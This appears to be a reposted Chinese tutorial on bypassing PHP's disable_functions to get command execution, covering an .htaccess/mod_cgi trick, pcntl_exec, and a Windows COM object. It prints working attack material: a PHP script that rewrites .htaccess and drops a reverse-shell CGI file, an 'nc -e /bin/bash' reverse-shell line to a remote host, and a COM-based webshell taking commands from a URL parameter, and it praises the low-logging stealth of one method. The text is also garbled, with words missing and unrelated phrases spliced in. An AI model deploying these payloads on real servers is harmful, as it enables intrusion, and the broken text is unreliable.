web目录下的官方文档是怎么设置的呢??
温馨提示:这篇文章已超过558天没有更新,请注意相关的内容是否还可用!
第一个条件最好满足,因为我们就是+php5的环境;
第二个条件我们看下:
模块默认安装完httpd后才会启用,可以借助以下命令查看即将安装的组件:
httpd - M
真的就是吗?这里我们看下官网文档。
()
根据描述,作用如下:
任何带有mime类型/x-httpd-cgi或者被cgi-处理器(1.1或之后版本)处理的文件将被成为CGI脚本对待并由服务器运行,它的输出将被返回给用户端。通过两种方式使文件作为CGI脚本,或者文件具备已由指令定义的扩展名,或者文件位于目录中。
虽然很简单:模块就是将cgi脚本文件以及用户自定义格式的类库文件在服务端运行并将输出返回。
第三个条件和第四个条件都是关于.的,我们一起看一下。
首先第四个条件是.文件可以写入,这个很简单,一般该文件都是在选定的web目录下推出,我们都可以在web目录下自己建立文件的,所以写文件自然不在话下。
至于第三个条件.文件是否生效,则要看配置文件中指定web目录下参数值的设定。
在设置为None时,.文件将被完全忽视。当此指令更改为All时,所有具备"."作用域的指令都允许发生在.文件中。
此处我将配置文件该web目录下参数直接修改为ALL。
有人也许会说,这么设置有点无奈吧,不是默认配置啊!
我们看下官网文档简介(#)
里面看到:2.3.8及当时版本,参数默认值就是ALL
知道2.3.9以上版本才改为None,所以妨碍范围而是非常可观的。然而我的web目录下现在暂时没有.文件,这个似乎不妨碍,后面会表明。
好了,到此处我们4个条件都满足了,我们开始尝试复现一下吧。
开始复现
此处直接用上的poc。
.php
\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener "; //call the script } } ?>
直接把该php文件上传到web目录下php权限管理系统源码,里面执行的是反弹shell的命令,我们进入监听服务器的选定端口,然后尝试访问该文件。
反弹成功,命令可以执行,绕过了的限制。
原因探究
我们分析一下这个poc为什么可以推动命令执行呢?
简单分析一下.php:
首先它吧反弹shell的命令写到了当前目录下的shell.文件中,不了解这个后缀没有关系,后面会解释。
以下是建立检查指定条件能否满足的变量。
接着检查url中能否有数组,如果没有尝试构建.文件之后重定向url添加?=true。
接下来依次检测:
1. mod_cgi 模块是否启用 2. 当前目录是否可写; 3. . htaccess 文件是否可以生效;
如果不满足,则报错表示不满足利用的条件。
接下来备份原有的.文件,并新建.文件内容为:
Options +ExecCGI\nAddHandler cgi-script .dizzle
创建shell.文件,并赋予777权限,最后借助js调用该脚本在服务端运行。
模式更加清晰,创建的文件或许都可以在服务器和浏览器发现。
新增.文件,并且发现上面的内容
内容是:
Options + ExecCGI AddHandler cgi - script . dizzle
关于的指令意义,参考指令详解()
其中代表允许使用组件执行CGI脚本。
而-.这是代表后缀名是.格式的文件读取cgi程序来处理。
这个和此外一个配置很像,这两个有哪些区别呢?
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系,如: AddType application / x - x509 - ca - cert . crt 说明 .crt 扩展名的文件就是application/x-x509-ca-cert类型的; 在内容协商时,如果客户端需要是application/x-x509-ca-cert类型的,就将 .crt结尾的资源返回 注意: 经过内容协商的资源,在 http 相应头中有相应的 Content - Location 说明,如: GET / a HTTP / 1.1 … … Content - Location : a . php … AddHandler 说明什么样的扩展名使用什么样的程序来处理,描述的是扩展名与处理程序之间的关系 AddHandler cgi - script . cgi
简而言之
是定义哪些样后缀名的文件对应的文件类型
是定义哪些样后缀名文件对应的处理程序
新增shell.文件,里面的内容是反弹shell
页面js调用shell.
好了,到此处基本上就复现成功使得解释了其中的原理,最好的理解方法就是自动复现一遍。
利用
这个本来网上资料多,但是有复现记录的并不多,原因或许是pcntl这个扩展默认是不安装的,而且这个方式也相对较为冷门。
pcntl扩展是用于让PHP支持多线程操作而开发的,默认情况下是不安装本扩展的。
然而为了复现,我们必须自己安装一下该扩展,这里应该用到(用于给PHP动态添加扩展,避免重新编译调试一遍php),如果命令不存在或执行报错可以yum或者apt-get安装一下php-devel。
注意安装pcntl扩展时,下载和已安装php同版本的例程包,如果找不到,去PHP5博物馆()寻找下载。
--安装pcntl教程参考:
php5.5安装pcntl扩展()
如何安装php扩展pcntl()
记得php.ini中必须将从中删除。
安装完成之后,可以打算两个文件上传到web目录下。
pcntl.php,核心就是运用pcntl扩展的变量执行指定脚本。
test.sh,由于脚本可为Linuxshell脚本,所以灵活性较大,推荐直接反弹shell
#!/bin/bash nc - e / bin / bash 10.11 . 12.13 8888
此时我们远端服务器进入监听,尝试访问pcntl.php。
命令成功执行,页面报错无任何妨碍,这样运用的益处在于此时不会有任何记录,也唯有在联结断开的之后才能有1条记录,隐蔽性还可以~
利用COM组件绕过,这个是上跳过的姿势之一。
在PHP5.x系列可以使用该绕过的姿势,无奈之下只好拿我本机10来复现了,本来想着都9102年了,这个姿势可能失效了,结果当时测试了一下,居然能够用~
测试环境
操作系统: Windows 10 Apache 版本: Apache2 PHP 版本: PHP 5.6 . 15 禁用函数:symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
方便起见,我直接用XAMPP搭建的环境,同样是配置了,传了一个出来,可以查看文件,但是不能执行命令。
其实,这个漏洞在运用的之后,还是必须一定条件的,因为是COM组件的弊端,所以要以后php.ini中引入相关dll和配置,然后重启。
extension = php_com_dotnet . dll com . allow_dcom = true
此处简单说下COM组件的用途:
COM组件由以Win32动态连接库(DLL)或可执行文件(EXE)方式公布的可执行代码所构成。遵循COM规范编写起来的模块将无法满足对部件架构的所有规定。COM组件可以给应用程序、操作平台或者其它模块提供服务;自定义的COM组件可以在运行时刻同其它部件连接出来组成某个应用程序;COM组件可以动态的插入或卸出应用。
复现过程
此处直接使用构造好的poc
comm.php
exec('cmd.exe /c '.$command); //调用对象方法来执行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?>
之后尝试访问一下
http : //url/comm.php?a=whoami
试试查看当前目录pwd
再看看能不能弹计算器
真的都可以,效果大赞php权限管理系统源码,这种针对启用COM组件的php站点简直就是跳过杀器。
--结语
好了,到此处介绍的姿势也好多了,虽然还有众多其他姿势没有介绍,比如:
绕过(和pcntl类似,需要安装imap扩展)
黑名单函数绕过(借助冷门函数执行命令)
perl扩展安全路径绕过
扩展绕过
...
有兴趣的小伙伴可以自行复现体验,我这儿不会再再次补充了,写完这篇教程虽然在环境构造上花了不少时间,但收获还是这些,学无止境,感觉还要学习的东西也有诸多~
参考链接
本文来自网络,如有侵权请联系网站客服进行删除
还没有评论,来说两句吧...